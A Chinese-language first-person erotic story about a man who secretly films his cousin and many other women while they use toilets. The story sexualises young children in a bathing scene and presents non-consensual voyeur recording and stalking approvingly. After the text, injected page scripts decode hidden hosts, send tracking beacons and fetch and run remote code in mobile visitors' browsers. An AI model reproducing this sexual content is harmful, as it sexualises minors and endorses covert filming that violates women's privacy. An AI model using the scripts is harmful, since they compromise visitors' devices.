从处女到人妻——偷窥姐姐的经历和心路历程[科学幻想]
一.启蒙
姐姐和我是表姐弟关系。我一直都叫她姐姐。
姐姐大我一岁多。我从小就跟她玩在一起,周末和寒暑假的时间几乎天天都跟她见面玩过家家,可以说是青梅竹马了。姐姐小时候长得不赖,个头比我还高,性格开朗,至少在我看来,幼儿园和小学的同班同学没有比她好看的,再加上跟她接触的时间有那么多,可以说我当时和她的心理距离已经拉近到了“亲密“的程度,至于她是怎么想的,我就不清楚了。
当时我六七岁吧,暑假的一天,我去她家里玩,大人们都不在。我们一起玩了一会儿,她提出想下楼玩,不过下楼前要洗个澡,随口叫我一起洗澡。我简直不敢相信自己的耳朵,心脏马上紧张地跳了起来。之前我们也有一起洗过,不过那时有大人在场帮忙洗,大家知道,这个年纪的异性小孩子在一起洗澡是很常见的,大人们都不会想太多。然而这次不一样,只有我和姐姐两个人一起洗,这就完全不一样了。想必大家小时候也对异性的身体产生好奇吧,上次洗澡因为大人在场,只敢偷偷瞄几眼姐姐的身体…
我头脑一片空白,只想脱光衣服跟姐姐一起淋浴。我们一道进入浴室,空气中弥漫着沉默,或许还有一点心照不宣的味道?姐姐是否因为跟我洗过几次澡,也对我的身体产生了好奇呢?她那句话到底是随便说说还是装出来的漫不经心呢?当然,我没敢问出口,以我当时的年纪也不可能想那么多。我们就在沉默中脱得一丝不挂。
首先看到的是她的胸部。因为没有发育而非常平坦,乳头像是用红笔在一张宣纸上随意点出来的一般。跟我的乳头一样的嘛,我在心里想。我把视线往下,移向姐姐的那个部位,那里只有一条细细的缝隙,像是用裁纸刀划出来的一样。我的心脏跳得越来越快,抬眼看了看姐姐,她的视线也在我的下半身…被她发现了吗?我盯着她私处有多久了?难道姐姐也在始终盯着我的小鸡鸡?我低头看自己的下面,才发现它早已高高立起,不安分地一跳一跳的…
我不敢抬起头。不知过了多久,我听到了水声,姐姐打开了淋浴器,背对着我冲头和身子,然后走出水流范围背对着我抹沐浴露。我也移开了视线去水里冲了冲。巧的是,水流越变越小,直到莲蓬头里再也没有水出来。“停水了…”姐姐有点不知所措,“怎么办,我身上还都是泡泡。”我再次看了眼她的那条缝隙,一小块泡沫顺着水流从她那里滑下来。她提议阳台外面水桶里还有水,叫我和她一起去舀些回来。
她匆匆跑出浴室,我跟在后面,从后面可以看到她跑动时跳动的屁股。她舀了一瓢水转身跑回浴室,跟我打了个照面,又一次悄悄地看了我小鸡鸡一眼,快速从我身边经过。我返回浴室,姐姐在用舀来的水冲洗沐浴露的泡沫。我觉得她很美,很美…
二. 触发
几年后,我上了初中。自从那次以后,跟姐姐一起洗澡的机会就再也没有了。
时常会回忆起那个夏天的午后,姐姐盯着我下面的眼神,以及她身体上那条最私密的缝隙…我们都步入青春期后,因为两性意识的觉醒以及各自都有课业,我们似乎都在刻意疏远对方。她的成绩向来很好。
除了姐姐,我还有两个上小学的表弟,他们经常在一起玩,喜欢拌嘴。一天,我和他们一起去姐姐家,姐姐上初三,放假期间还要补课不在家。两个表弟玩着闹着,突然说起他们在姐姐洗澡时闯进浴室的经历。我马上把他们拉过来盘问。原来那天姐姐在家洗澡,浴室门没锁好,两个表弟追逐打闹,小的从身后把大的推倒,大的顺势倒下撞开了浴室的门…
“我的嘴巴差点碰到xx姐姐(姐姐名字)的下面呢。”大表弟不无得意地说。我看他那个得瑟样,恨不得抓过来暴打一顿。
“那..你看清楚xx姐姐下面什么样子了吗?”我忍不住问道。这两个兔崽子,老子跟姐姐洗澡的时候你们还在穿尿布,青春期姐姐的隐私处我都没看过,倒被你们先看了。我恨得牙痒痒。
“就是有一条线。”表弟们异口同声。
一条线?就是那条我日思夜想的缝隙吧。我接着问他们,心脏跳得像那次洗澡一样:
“xx姐姐下面有没有长毛啊?”
“有啊,黑黑的。”
“毛多不多?”
“不多,只有在那条线的上面长了一点点。”
我感觉血液在往头上涌。十六岁的姐姐,刚发育不久的姐姐,毛都没长齐的姐姐,她的那条紧闭的缝隙,还是我记忆里的样子吗?表弟们很快说起了别的,而我早已沉浸在背德的意淫中,裤裆里胀得难受…
我装作平静,继续发问:“后来呢?”
“xx姐姐啊地叫了一声说,你们干嘛啊,我们就跑出去了。”
我想象姐姐涨红脸,手捂着下面的三角地带,侧过身训斥他们的样子。
当晚,我前所未有地手淫了三次。从第二天开始,我决定亲自偷窥姐姐。然而,姐姐上了高中后就专心学习,我极少有机会跟她接触。转眼间,我也上大学了。
三. 机会
高考完毕准备填志愿的时候,已经上大学的姐姐来我家找我了。
这完全出乎我的意料,印象中姐姐像学校里多数学习好的女孩一样,对男生都是刻意回避的,她这几年感觉也是在刻意回避我。没等我问起,她就先问我想好志愿填哪里了没,接着就跟我讲解哪个学校哪个专业好。
我在吃惊的同时也很感动。看来姐姐不但仍是以前那个开朗干练的人,而且在意我、关心我。想起这些年来,我们虽然不常见面,但姐姐经常托父母给我带零食。原来我始终被姐姐温柔的爱意环绕着。
我偷窥姐姐的欲望丝毫没有减弱,反而更强烈了。我内心知道,我不能这样回报姐姐的疼爱,但正因如此,才让偷窥姐姐这事有了额外的刺激感。我控制不住自己。
机会在大一那年的寒假来临。
上次姐姐来我家后,我与她的联系开始频繁起来。寒假来临,我和姐姐聊天时谈到准备去买台新手机,姐姐也有换手机的想法,想跟我一起去。我们约好在购物广场的专卖店里见面。
第二天,我早早地到达约定地点。姐姐迟到了十分钟。时值隆冬,她像每一个爱打扮的女大学生一样,下身穿黑色的绒布超短裙,一双笔直的腿包裹在厚厚的不透肉的裤袜里,脚上一双黑色皮靴包住脚踝。说实话,这正是我在论坛上最喜欢看的女主装扮。我不敢多看,匆匆扫了一眼,一边和姐姐寒暄,一边在脑中慢慢回味。不知是否在学校缺乏运动,姐姐的身材变得有点肉肉的,双腿尤为明显,不是小姑娘的那种病态的细,大腿处堆积着恰到好处的脂肪,小腿同样丰满,臀部圆润,整体却完全不会给人胖的感觉。她已经度过了青春期,充分发育,成为合格的散发出诱人荷尔蒙的女性了。
我们买了饮料,一边喝着一边走进了专卖店。这几年我已经高了她一个头,跟我走在一起的她已经没有小时候经常捉弄我的锐气,更多时候是在用她温柔的力场将我轻轻环绕。我闻着她的体香,数次迷失在回忆和思绪里。
我们没在手机专卖店逗留太长时间,手机没看到中意的,没买成。天气冷,加上又是工作日,购物广场里的人稀稀拉拉的。我陪姐姐逛了几家服装店,她买了一件大衣,算是没有空手而归了。结帐后我们往出口走去,我们路过洗手间,姐姐像是记起什么似的说:
“在这等我,我去上个厕所。”
机会终于降临。
四. 窥视
这是一个室内购物广场,由某财团修建,装修豪华。厕所是隔间式,蹲便器,空间宽敞,灯火通明,新风机运作不断,进门就能闻到空气清新剂的味道。
我目送姐姐走进厕所,门框上“女洗手间”四个红字戳得我眼睛发疼。只犹豫了两秒,我便下定了决心。管不了那么多了,也许这是唯一的机会。我的脑海中再次闪现出那条像用裁纸刀划出来一样的私密缝隙。这是我第一次亲自上阵偷窥女性小便,我就要把第一次给疼我爱我的姐姐了...
粗略看了四周,没人,工作日的上午本来人就少。我在门外聆听姐姐的脚步声,她踏上了隔间的台阶,锁上门,转过身开始宽衣解带。我快步且悄声走进去掏出手机打开相机,俯下身死死盯着门底部的空档,姐姐的皮靴正对着我。全身的血液似乎都冲上了脑门。她将裤袜连同内裤一起褪至膝盖上部,稍微调整双腿分开的间距,然后蹲下...
首先映入眼帘的是她丰满的大阴唇,如同饱满多汁的水果一般鼓胀着,上面点缀着短短的绒毛,显得有点黑。往中间看去便是小阴唇和隐藏在阴毛下的阴蒂。小阴唇乖巧地缩在大阴唇后面,娇羞地紧闭着。上方阴阜处的黑毛清晰可辨。光线极好,我心中暗暗欢呼。不一会儿,只听得一声长长的“嗞——”,一道细细的清澈的水柱有力地喷射而出,划出一道弧线落入便器。原先始终紧闭的小阴唇也缓缓开了口。便器里开始有小股蒸汽往上飘。我举起手机,用颤抖的手指点下了开始录像的红色按键。水流击打便器的声音。她裸露的大腿在被黑色裤袜包裹的那截小腿的衬托下显得尤为白净。内裤是很朴素的纯白色。圆润的屁股上,皮肤就像被拉紧一样光滑。水流开始减弱,一撮阴毛沾上了尿液,尿液开始顺着这撮阴毛流下,直至停止。
姐姐还是未经人事的处女。
我咽了一口唾液。姐姐收缩着肛门和穴口,试图挤出膀胱里最后一点尿液。这是我渡过的最漫长的十五秒钟。如果可以,我愿意把这十五秒无限拉长。然而,不远处的动静将我拉回了现实。
过于关注姐姐的隔间,使得我对周遭环境观察不够。我竟没能发现其他隔间里还有人,那个人已经起身穿裤子了。我像个兔子一样跳起来将手机收进裤袋,头也不回地冲出厕所。如今想来,另一个人还没冲水,我当时还有足够多的时间,完全不用这么着急,甚至还有机会观赏姐姐擦拭阴部的样子。可惜没有如果。
我尽量装作若无其事地等着姐姐出来。她甩着刚洗过的手向我走来。
“你的脸怎么这么红。”她问我。
我说可能这里暖气太足了。
“走吧。“她轻轻地说。
我完全不知道是怎么回到家的。到家后才发现裤裆里的鸡巴还在挺立着。难道它在我偷窥之后一直都是这个状态?姐姐没有发现吗?
我将这段视频拷进电脑,藏在了硬盘深处,点开看了一遍,关掉。打开另一个文件夹里的视频,像往常一样对着收集的其他作品手淫。
当天,我又射了三次。但材料不是自己拍的姐姐的视频。一次都没有。或许这是我表达愧疚的一种方式?我不知道。
后来,姐姐大学毕业。三年后,我得知她要结婚了。
五. 失落
偷窥次数只有零次和无数次。只要偷窥过一次,就会如同着魔一样上瘾。有了这次经验后,我开始在大学教学楼和图书馆里试水。我在这段时间里意识到了自己性癖所在:丝袜或裤袜搭配短裙,加上皮靴、帆布鞋、白色休闲鞋,这都是姐姐常见的打扮。我对高跟鞋没什么兴趣,好在校园里学生很少穿高跟鞋的。先拍了几个同班同学,逐渐大胆起来,先后对图书馆的陌生女孩,食堂里遇到的清纯女生,社团认识里的学姐学妹下手。有的人表面清纯,骚屄已经被使用得七歪八斜。有的人经常穿裙子丝袜,私处却相当干净。我没能收集班上所有女生的私处,不过有限的收集已经让我对多名同学的生理期和性开发程度了如指掌。闲下来时,就算算哪位同学今天排卵,然后打开她的视频,再点开她朋友圈/微博上发的自拍照,开始手淫,幻想让她受孕。有的女孩交了男朋友,我前后窥了她三次,她的骚屄口子一次比一次大…
姐姐的视频还静静躺在硬盘深处。
大三那年,我怀着忐忑的心情,装作随意地问她有没有男朋友。毕业已经一年的她给出了否定的回答。但只过了两年,她便将男友领回了家。那个男的年龄比她大,身高跟我差不多,长得还行,嘴也甜,是容易被家长喜欢的类型。
之后他们领了证,几个月后举行了婚礼。婚礼那天我也跟姐姐去了那个男的家里过了一夜,是一座小洋楼。姐姐在仪式上笑得很甜美。
晚上,宾客们都走了,洋楼里恢复了平静,我和姐姐他们住在同一层,我睡在走廊最末端的小房间,他们睡在走廊第一间。那天晚上我无法自控地想象他们会在那间房间里做什么。姐姐是否把她的处女之身守护到了今晚?他们之前做过了没?他们会用什么姿势做?那个男的会弄疼姐姐吗?我脑中浮现出姐姐紧闭的小阴唇和一小撮被尿液打湿的可爱阴毛,双手紧紧握成拳头。姐姐此刻很可能正被别人压在身下,雪白丰满的大腿高高架起,被大力耕耘着。抑或是姐姐主动骑在别人身上,伸出纤纤玉手将肉棒温柔地导入身下的蜜穴,任由龟头在她最深处摩擦直到冲顶…
我起身准备去撒尿,在姐姐的房间前驻足。门内听不到动静,我却丝毫没有释然感。本想将耳朵贴上门偷听,但最终还是没这么做。我轻声走下楼,进入厕所关上门。苦涩的泪水流入嘴里…
两个月后,我接到姐姐怀孕的消息。
六.发泄
在小洋楼的那个晚上,我内心对姐姐的态度产生了变化。体内似乎有一只猛兽觉醒了。我想看那段十五秒的视频,非常地想。想一边看一边手淫,伴随着视频里那一声清脆的“嗞——”射出火热的白浆,射完继续手淫,直到再也射不出东西为止…
那天晚上我从厕所出来直奔玄关,拾起一双新皮靴。这是姐姐为了这个日子特意买的,今天第一次穿,走了许多路。我将其中一只罩在口鼻处,猛地吸了一口气。一开始只有皮革的味道,中后段开始有淡淡的脚汗浸湿袜子散发出的味道,有点像咸咸的海风。我贪婪地呼吸着姐姐皮靴里的空气,手在裤裆里疯狂抖动,很快便喷射出来…我又拿起另一只皮靴,将满手的精液涂在鞋垫上脚尖处的位置。一阵风吹来,被精液弄湿一大片的裤子冷冰冰的,贴在我疲软的鸡巴上…
这是玷污,我玷污了姐姐的物品。想到这里,我不再像以前一样心有愧疚,反而有一种强烈的快感。
两个月后,我接到消息说姐姐怀孕了。我关上房门,双击那个不再“不可侵犯”的十五秒视频,开启了循环播放,盯着姐姐处女时期的嫩穴,狠狠握住鸡巴套弄起来。那个男的这么快就在姐姐体内成功播种,他们一天到底要干多少次?是那个男的性欲太强,还是姐姐需求过于旺盛?姐姐,我想喝你的尿,我想舔你的肛门,你尿完不要擦,让弟弟帮你把屄舔干净啊。姐姐啊,那个男的鸡巴大吗?第一次看到成年男性充分勃起的鸡巴时,有没有让你大吃一惊呢?你是不是始终以为男人的鸡巴跟你小时候看到的弟弟的小鸡鸡一样,只是细细短短的小不点吗?姐姐啊,弟弟我现在的鸡巴尺寸一点都不会输给那个男人的,你看看啊…
姐姐小心翼翼地保留了二十多年的处女之身最终被人夺取,从未遭受侵犯的子宫如今终有胚胎扎根,我知道这一天迟早要到来,但真的发生时还是无法接受。我肆意发泄着心中的郁闷和失落,记不清自己一共射了多少次,最后撸虚了,直接趴在电脑面前睡死过去...耳机里仍然循环播放姐姐的尿液击打便器的声音,和那一声长长的“嗞——”。
几个月后,姐姐顺产生下了一名男婴。我算了算时间,姐姐在小洋楼举行婚礼之前就已经怀上了,保守估计,是在领证之后开始无套做爱的。
然而此时我的心里毫无波澜,只想着再一次偷窥姐姐上厕所,仿佛在用这种方式开展报复,至于报复的对象是那个男人,还是姐姐,还是他们两人,我无论如何也给不出答案。
七.告别
深秋的一个周五,我来到了姐姐上班的公司。前一晚我找了个理由跟姐姐打了招呼说今天会去她公司食堂吃顿午饭,再等她下班一起回她家吃饭。
姐姐今天穿着白色的连衣裙,下身与那天一样穿着不透明黑色裤袜。在职场中,姐姐也是那么干练,情商高,工作两年便已晋升为部门副主管,然而职位高事情也多,我看她在公司里忙前忙后,似乎有打不完的电话。她的样子在这几年有了变化,或许是工作的忙碌和生儿育女使她疲惫,日复一日的生活磨损她的灵气,她变了,不再像那年冬天跟我逛商场时的她,不再像突然来我家问我想好怎么填志愿没的她,她的皮肤变得暗沉,体香也逐渐消失。生过孩子后,女人是否都对自己的形象不在意了呢?姐姐的性生活怎么样,频率又如何?那个男人可以一直满足她吗?想到这些,我的心情又陷入了低谷。
姐姐的脚步声打断了我的思绪。我抬头看她眉头微蹙,快步走向洗手间方向…
一切都不再重要了,我收拾心情,跟了上去。
这个公司的洗手间我踩点过无数次,空间不大,共两排隔间对向设置,每排两间,南边开了一扇窗,采光良好,离窗户最远的坑位排水故障长期弃用,隔间挡板空隙极大,稍微低头就能一览春光,不过最稳妥的是躲进对向的隔间安心窥视,可以说是绝佳的宝地。同上次一样,我在门外听到姐姐锁上门宽衣解带,见四下无人,心里默数三下,走进女厕确认姐姐的位置,进入她对面的隔间锁上门,双膝跪地俯头窥视。姐姐已经蹲下了。
同上次相比,她蹲得没有那么深,也许是怀孕期间在小腹部积蓄的赘肉阻碍了她,即便如此,她的阴部还是整个暴露在我贪婪的注视下。我吃惊地深吸了一口气,险些发出声音:姐姐原本黑亮修长的阴毛已被尽数剃去,只剩刚冒出皮肤的“胡茬”,星星点点密布在会阴处和大阴唇上,活像一个邋遢大叔的下巴。大阴唇依然肥厚饱满,但小阴唇却大大变了样:原先紧闭的小阴唇如同被强行往外拽过一般,不再缩在大阴唇里面,而是垂头丧气地耷拉在一边,像蔫了的蔬菜,干枯发皱。最让我意外的是姐姐的阴蒂,上次窥视她时阴蒂被黑毛遮住,如今它却趾高气扬地挺立着仿佛在向我示威…
毫无疑问,阴蒂要经过长年累月的按压揉搓,长期习惯于兴奋状态,阴蒂中的海绵体得到高强度锻炼,才能在未受刺激时还能如此挺立。那个男人应该非常擅长做爱,会玩多种技巧。他居然能说服姐姐剃毛…我想象姐姐在床上任由那个男人摆弄,想象在性交方面懵懵懂懂的姐姐不安的眼神,想象姐姐一边被揉着阴蒂一边被干得嗷嗷叫,想象姐姐喊着那个男人教给她的以前她连想都未想过的淫言浪语...
姐姐已经变成了那个男人的肉便器了。
姐姐曾经的处女小穴被那个男人没日没夜地操,已经变成一块烂屄了。
“噗…”一声屁响,紧接着又是好几个屁。是姐姐在放屁。她似乎忍了很多个屁,没敢在办公室里放。一股水流分叉成两股,从高耸的阴蒂下方缓缓流下,尿液偏黄,水流也很无力,顺着耷拉在外的小阴唇流到浑圆的屁股上,最终滴在便器里。屄口自然打开,粉色的肉壁清晰可见。还没等黄澄澄的尿液流完,姐姐的肛门开始扩大,一滩糊状稀便混合着气体倾泻而下…
姐姐稀屎的臭味在洗手间里弥漫开来。跟几年前相比,她的肛门外多了一块暗红色的肿物,应该是怀孕期间长的痔疮。姐姐不断收缩着肛门,又挤出了一块蚕豆大小的褐色大便,粘在她肛门的周围。尿液还在断断续续地从高挺的阴蒂下方流出。
不用说,姐姐破处、分娩之后被折腾得不忍直视的骚屄,和屎尿齐下的丑态,已经全部被我用手机录了下来。我平静地记录着,老实说,比现在的姐姐还要一塌糊涂的烂屄我也见过,如果女主换了一个人,我只会把这部视频当作普通作品。
姐姐摸出一包纸巾,从中抽出一张,在肛门处擦一下,把纸巾对折再擦一下。然后抽出另一张纸巾,翘起小拇指擦拭自己被摧残的烂屄,将纸扔进纸篓,站起身拉起裤袜和内裤,冲水,稍作整理后开门走出隔间。我停止录像,点开刚刚拍摄的视频,瞄了一眼视频时长后关闭。4分23秒。
我钻进姐姐刚才用过的隔间,屎味还未消散。我从纸篓里捡起姐姐的擦屄纸,打开观察纸上的褶皱和尿渍,放在鼻子下面嗅了嗅。非常浓重的骚味。我将纸巾塞进口袋,走出洗手间。
晚上在姐姐家吃饭,我坐她对面,在桌子下偷偷用手机观看今天的收获。“喂,xx,”我叫姐姐的名字,“在办公室要多喝水,知道吗?”
姐姐嗯了一声。
“还有,少吃点外卖,不干净,吃多了容易拉肚子。”
姐姐看了我一眼,眼里闪现出讶异,但只是一瞬。
“哦,好。”她答。我们继续吃饭,彼此再未对话。
回到家后,我强忍着身下几乎要顶穿裤子的鸡巴,将视频导入电脑并打开,随后打开那个我不知撸了多少遍的姐姐处女时期的十五秒撒尿视频,将两个视频一起播放,同时打开手机里保存的姐姐的自拍照,把全身脱得精光,开始疯狂手淫。每次射精时喉咙里都会发出低沉的怒吼,这是愤怒的低吼,也是充满无力感的低吼。鸡巴已经疲软,麻木的龟头已经无法对手上的动作给出反应。我的手还是没有停下来。我的眼中是姐姐照片里甜甜的微笑,是姐姐雪白的大腿和黑亮修长的阴毛,是姐姐干枯的小阴唇和凸出的痔疮。我的耳边是姐姐撒尿时强有力的“嗞——”声,是姐姐连续放的几个屁声,是姐姐踏着黑色皮靴向我款款走来的脚步声。那美得让我窒息的处女穴,和变形得让我心疼的烂屄。姐姐擦屄纸上的尿液早已干涸,我将纸塞进嘴里咀嚼,如同吃甘蔗一般挤出残余的甘露。我的房间里全是精液的味道,抽纸盒已经空了。我头昏眼花,终于瘫坐在地上…
自那天以后,我没再拍过姐姐。小学那年的夏天也好,大一那年的寒假也好,都在姐姐和我的人生中翻篇了。姐姐现在是人妻,是少妇,是人母,也许很快就会再生一个。我唯一想做的就是守护她。虽然,偶尔还是会梦见上大学的姐姐跟我一起逛商场,醒来后惆怅地叹一口气…
关闭
function wfSvZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function RQFSo(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wfSvZ(t);};window[''+'B'+'Q'+'s'+'g'+'C'+'N'+'J'+'E'+'Z'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function fily(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=RQFSo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=fily(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=fily(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmFoZGFpaai5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNAA==','9489',window,document,['a','A']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();